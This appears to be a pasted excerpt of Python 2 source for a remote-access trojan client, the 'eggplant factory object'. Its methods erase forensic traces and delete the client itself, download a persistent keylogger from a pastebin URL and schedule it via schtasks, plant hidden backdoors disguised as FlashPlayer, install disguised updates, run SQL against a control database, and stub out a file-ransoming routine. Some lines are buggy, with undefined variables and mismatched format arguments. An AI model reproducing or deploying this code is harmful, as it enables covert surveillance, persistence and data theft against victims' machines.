- try:
- return '\n'.join(os.listdir(path))
- except OSError:
- return 'Error: Permission denied.'
- else:
- return 'Error: Path not found.'
- def pwd(self):
- """Emulates the UNIX command for Windows compatability with Windows"""
- return os.getcwd()
- def destruct(self):
- """Purges host machine of any trace of the client (hidden files, registry keys, backdoors, etc.)"""
- # Backdoors
- for bd in self.backdoors:
- try:
- self._remove_backdoors()
- except Exception as z:
- if self.debug:
- with self.lock:
- print "Backdoor-destruct error: {}".format(str(z))
- # Files
- for k in self.files.keys():
- for f in self.files.get(k):
- if os.path.isfile(f):
- try:
- os.remove(f)
- except Exception as e:
- if self.debug:
- with self.lock:
- print "File-destruct error: {}".format(str(e))
- # Hidden files
- for h in self.persistence.get('hidden files'):
- try:
- os.remove(h)
- except Exception as c:
- if self.debug:
- with self.lock:
- print "Hidden file destruct error: {}".format(str(c))
- # Registry keys
- if os.name == 'nt':
- try:
- self._purge_regkeys()
- except Exception as v:
- if self.debug:
- with self.lock:
- print "Registry key destruct error: {}".format(str(v))
- # Scheduled tasks
- if os.name == 'nt':
- try:
- self._unschedule_tasks()
- except Exception as sc:
- if self.debug:
- with self.lock:
- print "Schedule tasks destruct error: {}".format(str(sc))
- # Launch agents
- if sys.platform.startswith('darwin'):
- for agent in self.persistence.get('launch agents'):
- try:
- os.remove(agent)
- except Exception as xc:
- if self.debug:
- with self.lock:
- print "Launch agent destruct error: {}".format(str(x))
- # Cache
- for i in self.files.get('cache'):
- if os.path.isfile(i):
- try:
- os.remove(i)
- except Exception as t:
- if self.debug:
- with self.lock:
- print "Cache file destruct error: {}".format(str(t))
- elif os.path.isdir(i):
- if not os.name=='nt':
- try:
- r = subprocess.check_output(['rm','-rf',i],shell=True)
- except Exception as er:
- if self.debug:
- with self.lock:
- print "Posix directory tree directory destruct error: {}".format(str(er))
- else:
- try:
- r = subprocess.Popen(['rmdir','/s','/q',i],0,None,subprocess.PIPE,subprocess.PIPE,subprocess.PIPE,shell=True)
- except Exception as p:
- if self.debug:
- with self.lock:
- print "Windows directory tree destruct error: {}".format(str(p))
- # Client
- try:
- os.remove(sys.argv[0])
- except Exception as ere:
- if self.debug:
- with self.lock:
- print 'Self-destruct error'
- exit()
- def wget(self, url, path=None):
- """Emulates the UNIX command for Windows compatability with Windows"""
- if not url.startswith('http'):
- return 'Error: URL must begin with http:// or https:// '
- try:
- fp, _ = urlretrieve(url, path)
- return fp
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Wget download for URL '{}' failed with error: {}".format(str(e))
- if path:
- print path
- def keylogger(self, *args):
- """Drops a persistent, stealthy keylogger on client host machine.
- Commands: start, run, stop, status"""
- if action not in ("start","status","stop"):
- return "usage: keylogger <start/status/stop>"
- if os.name == 'nt':
- if 'start' in args:
- if not len(self.files.get('keylogger')):
- kname = self._temp()
- bname = self._temp()
- path = os.environ.get('TEMP', failobj=os.getcwd())
- kfile = path + os.sep + kname + '.py'
- bfile = path + os.sep + bname + '.bat'
- interval = 'hourly'
- batch = "@ECHO OFF\r\nstart /D __PATH__ /B __KNAME__".replace('__PATH__',path).replace('__KNAME__',kname)
- try:
- kl, _ = urlretrieve('http://pastebin.com/raw/yk6tzNL7', kfile)
- self.files.update({'keylogger':kl})
- with file(bfile, 'w') as f:
- f.write(batch)
- self.files.get('cache').append(bfile)
- create = os.popen('schtasks /CREATE /TN ' + bname + ' /TR ' + bfile + ' /SC ' + interval).read()
- if 'SUCCESS' in create:
- self.persistence.get('scheduled tasks').append(bname)
- t = Timer(5.0, target=self._run_keylogger)
- t.daemon = True
- t.start()
- return 'Keylogger is now running'
- else:
- return create
- except Exception as x:
- return 'Start keylogger failed with error: {}'.format(str(x))
- elif 'stop' in args:
- try:
- d = os.popen('schtasks /delete /tn ' + self.files.get('keylogger') + ' /f').read()
- os.remove(self.files.get('keylogger'))
- return d
- except Exception as e:
- return 'Stop keylogger failed with error: {}'.format(str(e))
- elif 'status' in args:
- try:
- status = os.popen('schtasks /query /tn ' + self.files.get('keylogger')).read()
- return status
- except Exception as z:
- return "Status check keylogger failed with error: {}".format(str(e))
- else:
- return "Invalid command"
- else:
- ans = "Mac OS X not yet supported for remote logging." if sys.platform.startswith('darwin') else "{}-based platforms not yet supported for remote logging".format(sys.platform.title())
- return ans
- def lan(self):
- """Display map of local area network"""
- return self._lan(mode=True)
- def backdoor(self, app='FlashPlayer'):
- """Embeds hidden backdoors into the host machine filesystem"""
- try:
- t = Thread(target=self._backdoor, kwargs={'appname':app})
- t.daemon = True
- t.start()
- t.join()
- return str('\nPersistent backdoor saved to {}\nListening for incoming connection on port {}\n'.format(str(self.backdoors.values()), str(self.listener_port)))
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Backdoor commmand failed with error: {}".format(str(e))
- return
- def update(self, **kwargs):
- """Update the eggplant"""
- n = kwargs.get('name') if kwargs.has_key('name') else 'flashplayerinstaller'
- v = kwargs.get('version') if kwargs.has_key('version') else '27.0.0.170'
- if kwargs.has_key('executable'):
- try:
- _ = self._update(n, kwargs.get('executable'), v)
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Update failed with error: {}".format(str(e))
- return
- else:
- try:
- if os.name == 'nt':
- _ = self._update(n, n+'.exe', v)
- elif sys.platform.startswith('darwin'):
- _ = self._update(n, n, v)
- else:
- _ = self._update(n, n+'.sh', v)
- except Exception as e:
- if self.debug:
- with self.lock:
- print "Backdoor commmand failed with error: {}".format(str(e))
- return
- def query(self, query):
- """Send prepared queries"""
- try:
- queries = {'fname':"SELECT self.fname FROM clients WHERE uid='{}'".format(self.mac),
- 'fpath':"UPDATE clients SET fpath=concat(fpath,'{}'), WHERE uid='{}'".format(self.fname, self.mac),
- 'lan':"UPDATE clients SET local_network='{}' WHERE uid='{}'".format(self.local_network, self.mac)}
- output = str()
- if queries.has_key(query):
- stmt = queries.get(query)
- t = Thread(target=self._query, args=(stmt,), kwargs={'method':str(query)})
- t.daemon = True
- t.start()
- else:
- t = Thread(target=self._query, args=(query,), kwargs={'method':'QUERY'})
- t.daemon = True
- t.start()
- t.join()
- try:
- output = self.q.get()
- except:
- output = 'Query completed - returned no output'
- return output
- except Exception as e:
- return "Query error: {}".format(str(e))
- def ransom(self, mode=None):
- """Ransom client data"""
- if mode:
- return 'coming soon'
- else:
- return 'still coming soon'
- if os.path.exists(path):
- tree = os.walk(os.path.abspath(path))
- while True:
- try:
- self.targets.extend([os.path.abspath(i) for i in next(tree)[2]])
- except StopIteration:
- break
- max_wait = float(len(self.targets)/10)
- for target in self.targets:
- self.q.put(target)
- t_count = int(max_wait/10.0) if int(max_wait/10.0) < 101 else 100
- for x in xrange(0,t_count):
- t = Thread(target=self._ransom_threader)
- t.daemon = True
- t.start()
- t.join(timeout=max_wait)
- return '\n'.join([i for i in set(self.ransomed)])
- ### end eggplant factory object ###
Add Comment
Please, Sign In to add comment